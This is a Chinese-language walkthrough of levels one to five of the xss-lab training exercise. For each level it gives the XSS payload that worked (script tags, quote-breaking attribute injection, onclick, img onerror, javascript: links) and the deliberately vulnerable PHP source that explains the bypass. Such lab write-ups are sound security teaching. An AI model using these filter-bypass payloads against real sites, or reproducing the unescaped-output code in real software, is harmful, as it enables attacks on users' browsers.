(一)XSS
XSS(跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,xss漏洞大多数是寻找参数未过滤的输出函数。
(二)xss-lab
(三)关卡笔记
第一关
首先通过测试,name赋予不同的值,在界面中将会回显对应的“欢迎用户某某某”
故尝试在标签处构造语句:
name=<script>alert(1)</script>
注入后,将会弹出消息框,提示成功信息
查看后台源码可知为GET型,只通过$_GET[“name”],获取name的值,并没有过滤直接echo输出
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
第二关
按照前一题的思路,在输入框中时输入不同的值,将会提示“没有找到和某某某相关的结果”,此时将第一关的构造语句直接输入并不能成功
猜测并尝试构造闭合
"><script>alert(1)</script>
注入后,弹出提示成功信息的消息框
查看后台源码
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
可知在h2标签处.htmlspecialchars($str)进行了防御措施
<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>
注:htmlspecialchars()函数特殊字符转换为HTML实体,即:“ < ”,“ > ”,“ ” ”字符均会被过滤
但在input标签中,value未存在过滤措施,故可以利用此处进行测试
<input name=keyword value="'.$str.'">
第三关
第三关与第二关看似相似,实则有挺大的不同,通过第二关的思路进行输入,将会发现“<”会被转换为html编码
尝试构造闭合标签的属性
' onclick='alert(1)
这个关卡和之后两三个关卡可能会出现注入成功,但没有回显,此时需要点击一下输入栏,若注入成功将会弹出回显弹窗
查看后台源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
可知h2标签和input标签都被使用htmlspecialchars()函数进行了过滤
<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>
<input name=keyword value='".htmlspecialchars($str)."'>
但我们可以发现htmlspecialchars()函数并没有过滤单引号,故此处可以使用单引号闭合
第四关
这关与上一关(第三关)真正的类似了,可以尝试闭合标签的属性进行测试
构造语句
" onclick="alert(1)
查看后台源码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
此处过滤了“<”,“>”,
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
但可以发现该关卡只对h2标签进行处理,input标签并未进行处理
第五关
尝试使用以下两种构造语句,script被替换成了scr_ipt,onerror被替换成o_nerror
“”><script>alert(1)</script>
"><img src=1 onerror=alert(1)
故猜测后台进行了关键字替换
采用其他标签构造语句
"><a href="javascript:alert(1)"
注:该构造语句好像也未能正常回显,需要点击输入框右侧的细小的下划线才能回显
查看后台源码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
该关卡进行了大小写过滤和script、on关键字的过滤
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);